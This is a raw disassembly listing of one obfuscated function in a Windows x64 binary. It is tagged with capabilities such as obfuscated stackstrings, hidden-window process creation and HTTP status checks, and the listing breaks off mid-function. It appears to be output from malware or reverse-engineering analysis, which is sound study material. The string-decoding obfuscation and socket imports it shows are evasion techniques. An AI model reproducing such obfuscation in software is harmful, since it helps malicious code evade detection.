Function at 0x1400b36a0
Capabilities:
Check http status code
Contain obfuscated stackstrings
Create process on windows
Hide graphical window
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x1401d8800]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov byte [rbp + 0x380], 0xcb
mov byte [rbp + 0x381], 0xdf
mov byte [rbp + 0x382], 0xe7
mov byte [rbp + 0x383], Ordinal_211
mov byte [rbp + 0x384], Ordinal_217
mov byte [rbp + 0x385], Ordinal_217
mov byte [rbp + 0x386], gethostname
mov byte [rbp + 0x387], 0xf7
mov byte [rbp + 0x388], Ordinal_30
mov byte [rbp + 0x389], Ordinal_79
mov byte [rbp + 0x38a], Ordinal_79
mov byte [rbp + 0x38b], 0x3e
mov byte [rbp + 0x38c], Ordinal_79
mov byte [rbp + 0x38d], 0x43
mov byte [rbp + 0x38e], 0x3f
mov byte [rbp + 0x38f], Ordinal_79
mov byte [rbp + 0x390], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x391], xmm0
movups xmmword [rbp + 0x3a1], xmm0
mov word [rbp + 0x3b1], ax
movzx r11d, byte [rsp + 0x30]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b42ba
movzx r10d, byte [rbp + rbx + 0x380]
movzx edi, r10b
nop dword [rax]
cmp r8, rbx
ja 0x1400b42b1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b37cf
lea rcx, [rbx + 0x125fa]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x2a
jmp 0x1400b3808
je 0x1400b423c
inc rax
cmp r8, rax
je 0x1400b41dd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4180
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4159
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b4133
movzx edi, r10b
nop dword [rax]
cmp r9, rbx
ja 0x1400b42a8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400b3842
lea rcx, [rbx + 0x181d82]
movzx eax, r10b
and al, cl
mov edx, reloc.WS2_32.dll_gethostname
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
jmp 0x1400b3882
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b40ec
inc rax
cmp r8, rax
je 0x1400b40de
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b40c1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b40a0
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b408f
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b3e00
nop
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b3de1
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b3db9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b3d99
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b3d7a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b3d5b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b3d41
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b3d1f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b3d00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b3cd5
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b3890
lea r8, [r9 + 0x2a]
lea r9, [r8 + 9]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b4289
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b426e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b3a89
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b3a66
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b3a48
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b3c8d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b3c3d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b3bfe
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b3bd4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b3890
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 1]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b3ba8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b3b89
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b3b6b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b3b50
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b3b31
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b3b13
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b3af2
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b3aca
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b3aac
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b3890
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x400]
jmp 0x1400b3890
lea rcx, [rbx + 0x9f9ebe]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x32
jmp 0x1400b3882
lea rcx, [rbx + 0x9d52ca]
movzx eax, r10b
and al, cl
mov edx, 0x3d
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
jmp 0x1400b3810
lea rcx, [rbx + 0x9b06d6]
movzx eax, r10b
and al, cl
mov edx, reloc.WS2_32.dll_send
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
jmp 0x1400b37a0
lea edx, [rbx + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1400b4108
lea edx, [rbx + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400b3782
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
dec rbx
inc rbx
jmp 0x1400b3782
lea edx, [rbx + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x1400b41a0
lea edx, [rbx + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b41c1
lea ecx, [rbx + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x14
jmp 0x1400b41c4
lea edx, [rbx + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x68
movzx edi, bl
jmp 0x1400b405b
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b41f9
lea ecx, [rbx + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
lea edx, [rbx - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x380], r11b
inc rbx
jmp 0x1400b3782
lea edx, [rbx - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x36
add r11b, dl
cmp r9, 0xa
jb 0x1400b3bee
lea edx, [rbx - 0x64]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400b4108
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x80
jae 0x1400b4026
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400b3f73
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3c17
lea edx, [rbx - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x1400b4044
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400b3ed0
lea edx, [rbx - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
jmp 0x1400b3c4b
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b41f9
movzx edi, bl
lea edx, [rdi + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b405e
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400b41c4
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b41c1
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b41a0
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
dec rbx
inc rbx
jmp 0x1400b3782
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b3782
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b4108
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b3e2c
lea rcx, [rbx + 0x125fa]
movzx eax, r10b
and al, cl
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
jmp 0x1400b3ca7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b3e60
lea ecx, [rbx + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3e86
movzx edi, bl
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400b405e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b3ea9
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400b41a0
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400b3ca7
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x1400b4108
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b3ef8
lea edx, [rbx - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b4108
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b3f21
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
dec rbx
inc rbx
jmp 0x1400b3782
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3f44
lea ecx, [rbx + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
jmp 0x1400b41c1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b3c57
movzx edi, bl
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b405e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b3fa7
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3fd2
movzx edi, bl
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b405e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b3ffa
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b41c1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b3c17
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4108
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 8
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400b41a0
movzx edi, bl
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add dil, 0x7e
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x72
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0x380], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400b41f9
lea rax, [rbx + 0x2cc916]
mov ecx, 0x33
jmp 0x1400b4248
lea rax, [rbx + 0x239946]
and r10b, al
mov ecx, listen
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
jmp 0x1400b41c1
lea rax, [rbx + 0x214d52]
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 0x3e
jmp 0x1400b419c
lea rax, [rbx + 0x1f015e]
mov ecx, gethostname
jmp 0x1400b4165
lea rax, [rbx + 0x1a6976]
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 0x3a
movzx r10d, dil
lea ecx, [rbx - 0x6a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x1a
add r10b, cl
mov byte [rbp + rbx + 0x380], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b3782
lea rax, [rbx + 0x13859a]
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 0x36
inc r9
dec rbx
inc rbx
jmp 0x1400b3782
lea rax, [rbx + 0x1139a6]
mov ecx, Ordinal_60
and r10b, al
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
dec rbx
inc rbx
jmp 0x1400b3782
lea rax, [rbx + 0xeedb2]
and r10b, al
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
movzx r10d, dil
lea edx, [rbx - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x380], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b3782
lea rax, [rbx + 0x5bde2]
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 0x2e
movzx r10d, dil
lea ecx, [rbx + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, cl
mov byte [rbp + rbx + 0x380], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
lea rax, [rbx + 0x371ee]
mov ecx, 0x3f
and r10b, al
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3782
sub bl, 0x1e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x2e
jmp 0x1400b3780
sub bl, 0x12
movzx eax, r10b
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b3770
lea rdx, [rbp + 0x1458778]
jmp 0x1400b42c1
lea rdx, [rbp + 0x106ad72]
jmp 0x1400b42c1
lea rdx, [rbp + 0x380]
mov rcx, qword [0x14022c178]
call fcn.1400f92c0
mov rcx, qword [0x14022c128]
call fcn.1400d9870
mov rbx, qword [0x14022c128]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x430]
call fcn.1400cfb30
lea rdx, [rbx + 0xa0]
mov rcx, rax
call fcn.1400cf9f0
lea rcx, [rbp + 0x430]
call fcn.1400037a0
mov byte [rbp + 0x3b8], 0xdb
mov byte [rbp + 0x3b9], 0xef
mov byte [rbp + 0x3ba], 0xf7
mov byte [rbp + 0x3bb], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x3bc], 0xe1
mov byte [rbp + 0x3bd], 0xe7
mov byte [rbp + 0x3be], 0xdb
mov byte [rbp + 0x3bf], reloc.WS2_32.dll_socket
mov byte [rbp + 0x3c0], reloc.WS2_32.dll_listen
mov byte [rbp + 0x3c1], 0x41
mov byte [rbp + 0x3c2], 0x3e
mov byte [rbp + 0x3c3], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x3c4], 0x3e
mov byte [rbp + 0x3c5], gethostname
mov byte [rbp + 0x3c6], Ordinal_50
mov byte [rbp + 0x3c7], gethostname
mov byte [rbp + 0x3c8], 0xc0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3c9], xmm0
movups xmmword [rbp + 0x3d9], xmm0
mov word [rbp + 0x3e9], ax
movzx edx, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b4f1a
movzx r11d, byte [rbp + rbx + 0x3b8]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b4f11
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b440e
lea rcx, [rbx + 0x125f8]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x38
jmp 0x1400b4447
je 0x1400b4e9f
inc rax
cmp r8, rax
je 0x1400b4e17
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4de8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b4da8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4d5f
movzx r10d, bl
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400b4f08
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b4479
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x1400b44c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b4d54
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4d32
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4d13
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b4cf3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b4cd9
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400b49e7
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b49d9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b49b4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b4992
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b4a9e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4973
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b4953
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4939
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b4919
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b48ec
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b44d0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b4eec
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b4ecc
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b46c7
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400b46ad
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b4690
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b48ab
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b4865
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b482d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b4803
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b44d0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 1]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b47d2
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b47b6
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b4799
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400b477d
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400b4765
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b4748
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b4726
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b46fd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b46e3
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400b44d0
lea r8, [r9 + 0x61]
lea r9, [r8 + 2]
jmp 0x1400b44d0
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b44c0
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
jmp 0x1400b4450
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
jmp 0x1400b43e0
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x1400b4d7b
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b43c2
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400b43c2
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4dc1
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add r8, r9
jmp 0x1400b4dff
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x1400b4dff
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4e32
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x1400b4e5f
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x3b8], dl
inc rbx
jmp 0x1400b43c2
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
cmp r9, 8
jb 0x1400b481e
lea ecx, [r10 - 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x60]
jmp 0x1400b4d7b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 6
jae 0x1400b4ca2
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400b4bc5
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x1400b4842
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400b4cbf
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400b4af1
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
jmp 0x1400b4874
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b4e5f
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400b4e32
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b4dff
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
add r8, r9
jmp 0x1400b4dff
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
dec rbx
inc rbx
jmp 0x1400b43c2
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400b43c2
lea edx, [r10 - 0x70]
mov ecx, 8
jmp 0x1400b4d6c
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b4a10
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b48c0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b4a4a
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4a70
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4e32
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b4a95
add r10b, 0x80
movzx eax, r10b
